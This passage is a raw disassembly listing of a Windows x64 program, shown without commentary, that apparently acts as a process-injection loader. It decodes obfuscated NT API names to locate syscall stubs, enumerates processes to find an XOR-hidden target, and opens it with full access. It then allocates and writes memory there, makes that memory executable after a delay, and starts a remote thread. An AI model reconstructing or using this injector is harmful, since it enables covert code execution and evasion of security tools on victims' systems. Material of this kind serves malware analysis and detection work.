call fcn.1400ab8e0
lea rax, [rbp + 0x2650]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x2670]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x2690]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x26b0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x26d0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x26f0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x2710]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x2730]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x2750]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x2770]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x2790]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x27bf]
mov rcx, rax
call fcn.14009c290
nop
lea rdx, [rbp + 0x1a0]
lea rax, [rbp + 0x27c0]
mov rcx, rax
call fcn.1400aac20
mov r9, qword [rbp + 0x3208]
mov r8, qword [rbp + 0x3228]
mov rdx, qword [rbp + 0x3200]
lea rax, [rbp + 0x27c0]
mov rcx, qword [rbp + 0x3250]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x32e0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.140001489
mov dword [rbp + 0x31fc], eax
lea rax, [rbp + 0x27c0]
mov rcx, rax
call fcn.1400ab8e0
cmp dword [rbp + 0x31fc], 0
je 0x140007e3d
lea rsi, [0x1400f555c]
jmp 0x140007e44
lea rsi, [0x1400f5561]
lea rax, [rbp + 0x1a0]
mov rcx, rax
call fcn.1400310e0
mov r8, rsi
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140020770
lea rax, [rbp + 0x2a2f]
mov qword [rbp + 0x3160], rax
nop
nop
lea rdx, [rbp + 0x2a2f]
lea rax, [rbp + 0x2a00]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400ab0c0
lea rax, [rbp + 0x29e0]
lea rdx, [rbp + 0x2a00]
lea r8, [0x1400f5540]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x29c0]
lea rdx, [rbp + 0x29e0]
lea r8, [0x1400f5556]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x29a0]
lea rdx, [rbp + 0x29c0]
lea r8, [0x1400f554a]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x2980]
lea rdx, [rbp + 0x29a0]
lea r8, [0x1400f55a2]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x2960]
lea rdx, [rbp + 0x2980]
lea r8, [0x1400f554e]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x2940]
lea rdx, [rbp + 0x2960]
lea r8, [0x1400f5550]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x2920]
lea rdx, [rbp + 0x2940]
lea r8, [0x1400f554c]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x2900]
lea rdx, [rbp + 0x2920]
lea r8, [0x1400f55a8]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x28e0]
lea rdx, [rbp + 0x2900]
lea r8, [0x1400f5596]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x28c0]
lea rdx, [rbp + 0x28e0]
lea r8, [0x1400f55a0]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x28a0]
lea rdx, [rbp + 0x28c0]
lea r8, [0x1400f5590]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x2880]
lea rdx, [rbp + 0x28a0]
lea r8, [0x1400f554c]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x2860]
lea rdx, [rbp + 0x2880]
lea r8, [0x1400f5548]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x2840]
lea rdx, [rbp + 0x2860]
lea r8, [0x1400f5540]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x2820]
lea rdx, [rbp + 0x2840]
lea r8, [0x1400f5550]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x2800]
lea rdx, [rbp + 0x2820]
lea r8, [0x1400f5546]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x27e0]
lea rdx, [rbp + 0x2800]
lea r8, [0x1400f5592]
mov rcx, rax
call fcn.1400bba00
lea rdx, [rbp + 0x27e0]
lea rax, [rbp + 0x1a0]
mov rcx, rax
call fcn.1400ab920
lea rax, [rbp + 0x27e0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x2800]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x2820]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x2840]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x2860]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x2880]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x28a0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x28c0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x28e0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x2900]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x2920]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x2940]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x2960]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x2980]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x29a0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x29c0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x29e0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x2a00]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x2a2f]
mov rcx, rax
call fcn.14009c290
nop
lea rdx, [rbp + 0x1a0]
lea rax, [rbp + 0x2a30]
mov rcx, rax
call fcn.1400aac20
mov r9, qword [rbp + 0x3208]
mov r8, qword [rbp + 0x3228]
mov rdx, qword [rbp + 0x3200]
lea rax, [rbp + 0x2a30]
mov rcx, qword [rbp + 0x3248]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x32e0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.140001489
mov dword [rbp + 0x31fc], eax
lea rax, [rbp + 0x2a30]
mov rcx, rax
call fcn.1400ab8e0
cmp dword [rbp + 0x31fc], 0
je 0x140008232
lea rsi, [0x1400f555c]
jmp 0x140008239
lea rsi, [0x1400f5561]
lea rax, [rbp + 0x1a0]
mov rcx, rax
call fcn.1400310e0
mov r8, rsi
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140020770
lea rax, [rbp + 0x2cbf]
mov qword [rbp + 0x3158], rax
nop
nop
lea rdx, [rbp + 0x2cbf]
lea rax, [rbp + 0x2c90]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400ab0c0
lea rax, [rbp + 0x2c70]
lea rdx, [rbp + 0x2c90]
lea r8, [0x1400f5540]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x2c50]
lea rdx, [rbp + 0x2c70]
lea r8, [0x1400f558e]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x2c30]
lea rdx, [rbp + 0x2c50]
lea r8, [0x1400f5552]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x2c10]
lea rdx, [rbp + 0x2c30]
lea r8, [0x1400f554c]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x2bf0]
lea rdx, [rbp + 0x2c10]
lea r8, [0x1400f554c]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x2bd0]
lea rdx, [rbp + 0x2bf0]
lea r8, [0x1400f554e]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x2bb0]
lea rdx, [rbp + 0x2bd0]
lea r8, [0x1400f5550]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x2b90]
lea rdx, [rbp + 0x2bb0]
lea r8, [0x1400f5552]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x2b70]
lea rdx, [rbp + 0x2b90]
lea r8, [0x1400f5540]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x2b50]
lea rdx, [rbp + 0x2b70]
lea r8, [0x1400f5554]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x2b30]
lea rdx, [rbp + 0x2b50]
lea r8, [0x1400f554a]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x2b10]
lea rdx, [rbp + 0x2b30]
lea r8, [0x1400f5544]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x2af0]
lea rdx, [rbp + 0x2b10]
lea r8, [0x1400f5556]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x2ad0]
lea rdx, [rbp + 0x2af0]
lea r8, [0x1400f554c]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x2ab0]
lea rdx, [rbp + 0x2ad0]
lea r8, [0x1400f5558]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x2a90]
lea rdx, [rbp + 0x2ab0]
lea r8, [0x1400f5546]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x2a70]
lea rdx, [rbp + 0x2a90]
lea r8, [0x1400f5552]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x2a50]
lea rdx, [rbp + 0x2a70]
lea r8, [0x1400f555a]
mov rcx, rax
call fcn.1400bba00
lea rdx, [rbp + 0x2a50]
lea rax, [rbp + 0x1a0]
mov rcx, rax
call fcn.1400ab920
lea rax, [rbp + 0x2a50]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x2a70]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x2a90]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x2ab0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x2ad0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x2af0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x2b10]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x2b30]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x2b50]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x2b70]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x2b90]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x2bb0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x2bd0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x2bf0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x2c10]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x2c30]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x2c50]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x2c70]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x2c90]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x2cbf]
mov rcx, rax
call fcn.14009c290
nop
lea rdx, [rbp + 0x1a0]
lea rax, [rbp + 0x2cc0]
mov rcx, rax
call fcn.1400aac20
mov r9, qword [rbp + 0x3208]
mov r8, qword [rbp + 0x3228]
mov rdx, qword [rbp + 0x3200]
lea rax, [rbp + 0x2cc0]
mov rcx, qword [rbp + 0x3240]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x32e0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.140001489
mov dword [rbp + 0x31fc], eax
lea rax, [rbp + 0x2cc0]
mov rcx, rax
call fcn.1400ab8e0
cmp dword [rbp + 0x31fc], 0
je 0x140008653
lea rsi, [0x1400f555c]
jmp 0x14000865a
lea rsi, [0x1400f5561]
lea rax, [rbp + 0x1a0]
mov rcx, rax
call fcn.1400310e0
mov r8, rsi
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140020770
lea rax, section..data
mov rcx, rax
call fcn.140001900
mov dword [rbp + 0x70], 0x130
mov edx, 0
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rbp + 0x31f0], rax
lea rdx, [rbp + 0x70]
mov rax, qword [rbp + 0x31f0]
mov rcx, rax
call sub.KERNEL32.dll_Process32First
cmp eax, 1
sete al
test al, al
je 0x140009231
jmp 0x140009210
lea rax, [rbp + 0x2ce1]
lea rdx, [rbp + 0x2cee]
mov rcx, rax
call fcn.140001a1a
lea rax, [rbp + 0x2ce1]
mov qword [rbp + 0x3150], rax
mov rax, qword [rbp + 0x3150]
mov qword [rbp + 0x3148], rax
mov rax, qword [rbp + 0x3148]
movzx eax, byte [rax + 0xc]
test al, al
setne al
test al, al
je 0x1400087ab
mov rax, qword [rbp + 0x3150]
mov rdx, qword [rbp + 0x3150]
mov qword [rbp + 0x3140], rdx
mov qword [rbp + 0x3138], rax
mov dword [rbp + 0x3134], 0
jmp 0x1400087a1
mov eax, dword [rbp + 0x3134]
movsxd rdx, eax
mov rax, qword [rbp + 0x3138]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x3134]
movsxd rdx, eax
imul rdx, rdx, 0x4ec4ec4f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x34
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x39
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x3140]
mov eax, dword [rbp + 0x3134]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x3134], 1
cmp dword [rbp + 0x3134], 0xc
jle 0x140008742
nop
lea rax, [rbp + 0x2ce1]
lea rdx, [rbp + 0x70]
lea rcx, [rdx + 0x2c]
mov rdx, rax
call sub.msvcrt.dll__stricmp
test eax, eax
sete al
test al, al
je 0x140009210
mov dword [rbp + 0x30], 0x30
mov qword [rbp + 0x38], 0
mov dword [rbp + 0x48], 0
mov qword [rbp + 0x40], 0
mov qword [rbp + 0x50], 0
mov qword [rbp + 0x58], 0
mov qword [rbp + 0x68], 0
mov eax, dword [rbp + 0x78]
mov ecx, eax
call fcn.140001450
mov qword [rbp + 0x60], rax
mov r10, qword [0x140123080]
lea rcx, [rbp + 0x60]
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0x1e0]
mov r9, rcx
mov r8, rdx
mov edx, 0x1fffff
mov rcx, rax
call r10
mov dword [rbp + 0x31ec], eax
cmp dword [rbp + 0x31ec], 0
je 0x1400088e1
lea rax, [rbp + 0x2cf0]
lea rdx, [rbp + 0x2cef]
mov rcx, rax
call fcn.140001a94
mov rax, qword [rbp + 0x2cf0]
mov rdx, qword [rbp + 0x2cf8]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x2d00]
mov rdx, qword [rbp + 0x2d08]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov rax, qword [rbp + 0x2d10]
mov rdx, qword [rbp + 0x2d18]
mov qword [rbp], rax
mov qword [rbp + 8], rdx
mov rax, qword [rbp + 0x2d20]
mov rdx, qword [rbp + 0x2d28]
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rdx
movzx eax, byte [rbp + 0x2d30]
mov byte [rbp + 0x20], al
mov edx, dword [rbp + 0x31ec]
lea rax, [rbp - 0x20]
mov rcx, rax
call fcn.140020290
mov ebx, 0
jmp 0x140009209
lea rax, [rbp + 0x2d40]
lea rdx, [rbp + 0x2d3f]
mov rcx, rax
call fcn.140001cae
mov rax, qword [rbp + 0x2d40]
mov rdx, qword [rbp + 0x2d48]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x2d50]
mov rdx, qword [rbp + 0x2d58]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov rax, qword [rbp + 0x2d60]
mov rdx, qword [rbp + 0x2d68]
mov qword [rbp], rax
mov qword [rbp + 8], rdx
mov rax, qword [rbp + 0x2d6b]
mov rdx, qword [rbp + 0x2d73]
mov qword [rbp + 0xb], rax
mov qword [rbp + 0x13], rdx
lea rax, [rbp - 0x20]
mov rcx, rax
call fcn.1400201c0
mov r10, qword [0x140123038]
mov rax, qword [rbp + 0x1e0]
lea rcx, [rbp + 0x1d0]
lea rdx, [rbp + 0x1f0]
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x3000
mov r9, rcx
mov r8d, 0
mov rcx, rax
call r10
mov dword [rbp + 0x31ec], eax
cmp dword [rbp + 0x31ec], 0
je 0x140008a49
lea rax, [rbp + 0x2d80]
lea rdx, [rbp + 0x2d7f]
mov rcx, rax
call fcn.140001e98
mov rax, qword [rbp + 0x2d80]
mov rdx, qword [rbp + 0x2d88]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x2d90]
mov rdx, qword [rbp + 0x2d98]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov rax, qword [rbp + 0x2da0]
mov rdx, qword [rbp + 0x2da8]
mov qword [rbp], rax
mov qword [rbp + 8], rdx
mov rax, qword [rbp + 0x2db0]
mov rdx, qword [rbp + 0x2db8]
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x2dc0]
mov rdx, qword [rbp + 0x2dc8]
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rdx
mov edx, dword [rbp + 0x31ec]
lea rax, [rbp - 0x20]
mov rcx, rax
call fcn.1400206a0
mov ebx, 0
jmp 0x140009209
lea rax, [rbp + 0x2de0]
lea rdx, [rbp + 0x2ddf]
mov rcx, rax
call fcn.14000212a
mov rax, qword [rbp + 0x2de0]
mov rdx, qword [rbp + 0x2de8]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x2df0]
mov rdx, qword [rbp + 0x2df8]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov rax, qword [rbp + 0x2e00]
mov rdx, qword [rbp + 0x2e08]
mov qword [rbp], rax
mov qword [rbp + 8], rdx
mov rax, qword [rbp + 0x2e10]
mov rdx, qword [rbp + 0x2e18]
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x2e19]
mov rdx, qword [rbp + 0x2e21]
mov qword [rbp + 0x19], rax
mov qword [rbp + 0x21], rdx
lea rax, [rbp - 0x20]
mov rcx, rax
call fcn.140020430
mov r10, qword [0x140123040]
mov r9, qword [0x1400f1448]
mov r8, qword [0x140123030]
mov rdx, qword [rbp + 0x1f0]
mov rax, qword [rbp + 0x1e0]
lea rcx, [rbp + 0x1d8]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call r10
mov dword [rbp + 0x31ec], eax
cmp dword [rbp + 0x31ec], 0
je 0x140008bc1
lea rax, [rbp + 0x2e30]
lea rdx, [rbp + 0x2e2f]
mov rcx, rax
call fcn.140002384
mov rax, qword [rbp + 0x2e30]
mov rdx, qword [rbp + 0x2e38]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x2e40]
mov rdx, qword [rbp + 0x2e48]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov rax, qword [rbp + 0x2e50]
mov rdx, qword [rbp + 0x2e58]
mov qword [rbp], rax
mov qword [rbp + 8], rdx
mov rax, qword [rbp + 0x2e60]
mov rdx, qword [rbp + 0x2e68]
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x2e6a]
mov rdx, qword [rbp + 0x2e72]
mov qword [rbp + 0x1a], rax
mov qword [rbp + 0x22], rdx
mov edx, dword [rbp + 0x31ec]
lea rax, [rbp - 0x20]
mov rcx, rax
call fcn.140020500
mov ebx, 0
jmp 0x140009209
lea rax, [rbp + 0x2e80]
lea rdx, [rbp + 0x2e7f]
mov rcx, rax
call fcn.1400025e6
mov rax, qword [rbp + 0x2e80]
mov rdx, qword [rbp + 0x2e88]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x2e90]
mov rdx, qword [rbp + 0x2e98]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov rax, qword [rbp + 0x2ea0]
mov rdx, qword [rbp + 0x2ea8]
mov qword [rbp], rax
mov qword [rbp + 8], rdx
mov rax, qword [rbp + 0x2eb0]
mov rdx, qword [rbp + 0x2eb8]
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x2ebc]
mov rdx, qword [rbp + 0x2ec4]
mov qword [rbp + 0x1c], rax
mov qword [rbp + 0x24], rdx
lea rax, [rbp - 0x20]
mov rcx, rax
call fcn.1400205d0
mov r10, qword [0x140123048]
mov rax, qword [rbp + 0x1e0]
lea rdx, [rbp + 0x1f0]
lea rcx, [rbp + 0x1fc]
mov qword [rsp + 0x20], rcx
mov r9d, 1
lea r8, [0x1400f1448]
mov rcx, rax
call r10
mov dword [rbp + 0x31ec], eax
cmp dword [rbp + 0x31ec], 0
je 0x140008d11
lea rax, [rbp + 0x2ed0]
lea rdx, [rbp + 0x2ecf]
mov rcx, rax
call fcn.140002858
mov rax, qword [rbp + 0x2ed0]
mov rdx, qword [rbp + 0x2ed8]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x2ee0]
mov rdx, qword [rbp + 0x2ee8]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov rax, qword [rbp + 0x2ef0]
mov rdx, qword [rbp + 0x2ef8]
mov qword [rbp], rax
mov qword [rbp + 8], rdx
mov eax, dword [rbp + 0x2eff]
mov dword [rbp + 0xf], eax
mov edx, dword [rbp + 0x31ec]
lea rax, [rbp - 0x20]
mov rcx, rax
call fcn.14001fdb0
mov ebx, 0
jmp 0x140009209
lea rax, [rbp + 0x2f10]
lea rdx, [rbp + 0x2f0f]
mov rcx, rax
call fcn.140002a02
mov rax, qword [rbp + 0x2f10]
mov rdx, qword [rbp + 0x2f18]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x2f20]
mov rdx, qword [rbp + 0x2f28]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov rax, qword [rbp + 0x2f30]
mov rdx, qword [rbp + 0x2f38]
mov qword [rbp], rax
mov qword [rbp + 8], rdx
mov rax, qword [rbp + 0x2f3f]
mov qword [rbp + 0xf], rax
lea rax, [rbp - 0x20]
mov rcx, rax
call fcn.140020020
mov r10, qword [0x140123050]
mov rdx, qword [rbp + 0x1f0]
mov rcx, qword [rbp + 0x1e0]
lea rax, [rbp + 0x1e8]
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 1
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], rdx
mov r9, rcx
mov r8d, 0
mov edx, 0x20000000
mov rcx, rax
call r10
mov dword [rbp + 0x31ec], eax
cmp dword [rbp + 0x31ec], 0
je 0x140008e91
lea rax, [rbp + 0x2f50]
lea rdx, [rbp + 0x2f4f]
mov rcx, rax
call fcn.140002bcc
mov rax, qword [rbp + 0x2f50]
mov rdx, qword [rbp + 0x2f58]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x2f60]
mov rdx, qword [rbp + 0x2f68]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov rax, qword [rbp + 0x2f70]
mov rdx, qword [rbp + 0x2f78]
mov qword [rbp], rax
mov qword [rbp + 8], rdx
mov rax, qword [rbp + 0x2f80]
mov rdx, qword [rbp + 0x2f88]
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rdx
movzx eax, byte [rbp + 0x2f90]
mov byte [rbp + 0x20], al
mov edx, dword [rbp + 0x31ec]
lea rax, [rbp - 0x20]
mov rcx, rax
call fcn.140020290
mov ebx, 0
jmp 0x140009209
lea rax, [rbp + 0x2fa0]
lea rdx, [rbp + 0x2f9f]
mov rcx, rax
call fcn.140002de6
mov rax, qword [rbp + 0x2fa0]
mov rdx, qword [rbp + 0x2fa8]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x2fb0]
mov rdx, qword [rbp + 0x2fb8]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov rax, qword [rbp + 0x2fc0]
mov rdx, qword [rbp + 0x2fc8]
mov qword [rbp], rax
mov qword [rbp + 8], rdx
mov rax, qword [rbp + 0x2fd0]
mov rdx, qword [rbp + 0x2fd8]
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rdx
mov eax, dword [rbp + 0x2fe0]
mov dword [rbp + 0x20], eax
lea rax, [rbp - 0x20]
mov rcx, rax
call fcn.140020360
lea rax, [rbp + 0x2ff0]
lea rdx, [rbp + 0x2fef]
mov rcx, rax
call fcn.140003018
mov rax, qword [rbp + 0x2ff0]
mov rdx, qword [rbp + 0x2ff8]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x3000]
mov rdx, qword [rbp + 0x3008]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov rax, qword [rbp + 0x3010]
mov rdx, qword [rbp + 0x3018]
mov qword [rbp], rax
mov qword [rbp + 8], rdx
mov rax, qword [rbp + 0x301e]
mov qword [rbp + 0xe], rax
lea rax, [rbp - 0x20]
mov rcx, rax
call fcn.14001fe80
mov ecx, 0x2710
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov r10, qword [0x140123048]
mov rax, qword [rbp + 0x1e0]
lea rdx, [rbp + 0x1f0]
lea rcx, [rbp + 0x1fc]
mov qword [rsp + 0x20], rcx
mov r9d, 0x20
lea r8, [0x1400f1448]
mov rcx, rax
call r10
mov dword [rbp + 0x31ec], eax
cmp dword [rbp + 0x31ec], 0
je 0x140009051
lea rax, [rbp + 0x3030]
lea rdx, [rbp + 0x302f]
mov rcx, rax
call fcn.1400031da
mov rax, qword [rbp + 0x3030]
mov rdx, qword [rbp + 0x3038]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x3040]
mov rdx, qword [rbp + 0x3048]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov rax, qword [rbp + 0x3050]
mov rdx, qword [rbp + 0x3058]
mov qword [rbp], rax
mov qword [rbp + 8], rdx
mov eax, dword [rbp + 0x305f]
mov dword [rbp + 0xf], eax
mov edx, dword [rbp + 0x31ec]
lea rax, [rbp - 0x20]
mov rcx, rax
call fcn.14001fdb0
mov ebx, 0
jmp 0x140009209
lea rax, [rbp + 0x3070]
lea rdx, [rbp + 0x306f]
mov rcx, rax
call fcn.140003384
mov rax, qword [rbp + 0x3070]
mov rdx, qword [rbp + 0x3078]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x3080]
mov rdx, qword [rbp + 0x3088]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov rax, qword [rbp + 0x3090]
mov rdx, qword [rbp + 0x3098]
mov qword [rbp], rax
mov qword [rbp + 8], rdx
mov rax, qword [rbp + 0x309f]
mov qword [rbp + 0xf], rax
lea rax, [rbp - 0x20]
mov rcx, rax
call fcn.140020020
mov r8, qword [0x140123058]
mov rax, qword [rbp + 0x1e8]
mov edx, 0
mov rcx, rax
call r8
mov dword [rbp + 0x31ec], eax
cmp dword [rbp + 0x31ec], 0
je 0x140009167
lea rax, [rbp + 0x30b0]
lea rdx, [rbp + 0x30af]
mov rcx, rax
call fcn.14000354e
mov rax, qword [rbp + 0x30b0]
mov rdx, qword [rbp + 0x30b8]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x30c0]
mov rdx, qword [rbp + 0x30c8]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov rax, qword [rbp + 0x30d0]
mov rdx, qword [rbp + 0x30d8]
mov qword [rbp], rax
mov qword [rbp + 8], rdx
mov rax, qword [rbp + 0x30de]
mov qword [rbp + 0xe], rax
mov edx, dword [rbp + 0x31ec]
lea rax, [rbp - 0x20]
mov rcx, rax
call fcn.14001ff50
mov ebx, 0
jmp 0x140009209
lea rax, [rbp + 0x30f0]
lea rdx, [rbp + 0x30ef]
mov rcx, rax
call fcn.140003710
mov rax, qword [rbp + 0x30f0]
mov rdx, qword [rbp + 0x30f8]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x3100]
mov rdx, qword [rbp + 0x3108]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov rax, qword [rbp + 0x3110]
mov rdx, qword [rbp + 0x3118]
mov qword [rbp], rax
mov qword [rbp + 8], rdx
mov rax, qword [rbp + 0x3119]
mov rdx, qword [rbp + 0x3121]
mov qword [rbp + 9], rax
mov qword [rbp + 0x11], rdx
lea rax, [rbp - 0x20]
